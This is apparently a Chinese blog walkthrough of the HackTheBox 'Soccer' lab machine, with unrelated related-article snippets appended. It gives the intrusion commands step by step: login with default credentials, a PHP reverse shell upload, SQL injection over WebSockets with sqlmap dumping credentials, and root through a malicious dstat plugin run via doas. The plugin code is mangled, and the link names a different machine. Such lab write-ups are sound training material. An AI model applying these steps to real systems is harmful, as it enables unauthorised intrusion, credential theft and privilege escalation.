HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权

news/2024/11/24 22:32:44/

在这里插入图片描述

靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.194

在这里插入图片描述

机子开放了22,80和9091端口,我们本地dns解析这个域名

echo "10.10.11.194 soccer.htb" >> /etc/hosts

然后fuzz网站根目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ

在这里插入图片描述

扫到一个目录,去网站上看看

在这里插入图片描述

看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的

https://github.com/prasathmani/tinyfilemanager

在这里插入图片描述

在这下面可以看到默认的用户名和密码,我们登录试试

在这里插入图片描述

登录后是一个文件上传的页面,我试了一下,发现可以上传文件的目录为/tiny/uploads

进入到这个目录,点击右上角的upload上传rev shell

我使用的rev shell:

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

需要更改ip和port参数

在这里插入图片描述

然后nc监听这个端口,回到网页上传文件

在这里插入图片描述

在这里插入图片描述

上传成功后点击这个图标访问rev shell

在这里插入图片描述

在这里插入图片描述

成功获得交互shell

现在使用linpeas脚本搜集主机信息

https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
chmod +x linpeas.sh
./linpeas.sh

通过这个脚本,在这台机子上发现了很多漏洞,但是都用不了,应该是打补丁了

在下面,脚本列出的nginx默认配置里发现了一个子域名

在这里插入图片描述

我们本地dns解析这个域名

echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts

在这里插入图片描述

通过WebSockets进行SQL注入

现在访问这个域名

在这里插入图片描述

发现左上角有一个注册模块,我们注册一个账号

然后登录

在这里插入图片描述

登录后就会跳转到这个页面

在这里插入图片描述

似乎是要检查我们的票证,通过查看这个页面的源代码,可以发现突破点

在这里插入图片描述

它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”

在这里插入图片描述

这里告诉我们,传递的参数为id,一会sql测试的时候需要用到它

现在需要通过WebSockets进行SQL注入测试,通过google,找到了这篇文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

在这里插入图片描述

我们将这个代码复制下来,新建一个python文件,并粘贴进去

在这里插入图片描述

根据那个网页源代码,修改ws_server和data参数

然后安装websocket模块

pip3 install websocket-client

安装完成后运行脚本

python3 web_socket.py

在这里插入图片描述

现在使用sqlmap进行测试

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间

因为是时间盲注,所以需要等待几十分钟

在这里插入图片描述

现在得到用户名和密码了,使用ssh登录即可

ssh player@10.10.11.194

在这里插入图片描述

根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序,根据HTB机子的规律,这个程序多半是突破点了

在这里插入图片描述

什么是Doas

https://zh.m.wikipedia.org/zh-hans/Doas

在这里插入图片描述

简单来说,Doas是一个与Sudo具有相同功能的软件

寻找doas软件的配置

find / -type f -name doas.conf 2>/dev/null

在这里插入图片描述

提示允许用户player用dstat使用root

Dstat插件

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

在这里插入图片描述

我们可以往插件里写入rev shell获得root权限

我们移动到这个目录下,创建一个名为dstat_baimao.py的文件

cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py

在这里插入图片描述

写入代码

import subprocesssubprocess.run(["bash"]) 
#启动一个新的 bash shell

然后使用Doas执行Dstat插件

doas /usr/bin/dstat --baimao

在这里插入图片描述

成功获得root权限

在这里插入图片描述


http://www.ppmy.cn/news/6148.html

相关文章

基于Springboot+Mybatis+mysql+element-vue高校就业管理系统

基于SpringbootMybatismysqlelement-vue高校就业管理系统一、系统介绍二、功能展示1.用户登陆注册2.个人信息(学生端)3.查看企业岗位信息(学生端)4.我的应聘(学生端)5.学生信息管理(辅导员)6.三方协议书审核(辅导员&am…

IDEA创建kotlin项目

今天新建了一个kotlin项目,竟然不能导入jar包,原因是新建项目的时候,选择了kotlin作为Gradle的开发语音,kotlin语音里面,下面这行配置识别不了: implementation fileTree(dir: libs, include: [*.jar])所以…

《编译原理》实验一:熟悉实验环境VSCode并完成正则表达式转换为NFA

目录 实验一 熟悉实验环境VSCode并完成正则表达式转换为NFA 一、实验目的 二、预备知识 三、实验内容 VSCode的基本使用方法 安装和启动VSCode VSCode的窗口布局 使用VSCode将项目克隆到本地磁盘 使用VSCode登录平台 查看项目中的文件 实验源代码 演示程序的执行过程 四、实验过…

快速部署PHP Web环境(nginx php mysql redis)

先看最终效果,如下: 它是什么? 它是 docker 容器虚拟化技术。总共只有几KB大小的描述文件,文件里定义了要安装什么、配置什么,一执行就全自动处理好了。 它有什么用? 解决新来同事搭环境搭半天的问题解…

概要设计说明书(GB8567——88)基于协同的在线表格forture-sheet

概要设计说明书 1引言 1.1编写目的 为了帮助用户更好的了解和使用本在线表格,提高用户与软件的亲和度。 用户手册描述配置和使用改在线表格,以及该软件使用过程中应该注意的一下问题。 1.2背景 说明: 本用户手册所描述的软件系统的名称…

Mycat2(一)简介、分库分表概念

文章目录mycat是什么;为什么要用;mycat的作用原理分库分表的意义数据库优化的层次:数据切分的方式,带来的问题和解决方案分库分表带来的问题mycat的特性与详细配置含义mycat2与mycat1.6区别mycat2映射模型多数据源解决方案mycat核…

数字三角形问题

数字三角形问题一、题目描述二、题目分析1、问题分析2、思路分析(1)状态转移方程状态表示状态转移(2)循环的设计三、代码实现一、题目描述 二、题目分析 1、问题分析 这道题给我们的第一眼感觉就是情况太多了,太复杂…

机器学习 | 逻辑回归

一.基本原理 面对一个分类问题,建立代价函数,通过优化方法迭代求解出最优的模型参数,然后测试验证我们这个求解的模型的好坏。逻辑回归是一种分类方法,主要用于二分类问题,应用于研究某些事件发生的概率 二.优缺点 …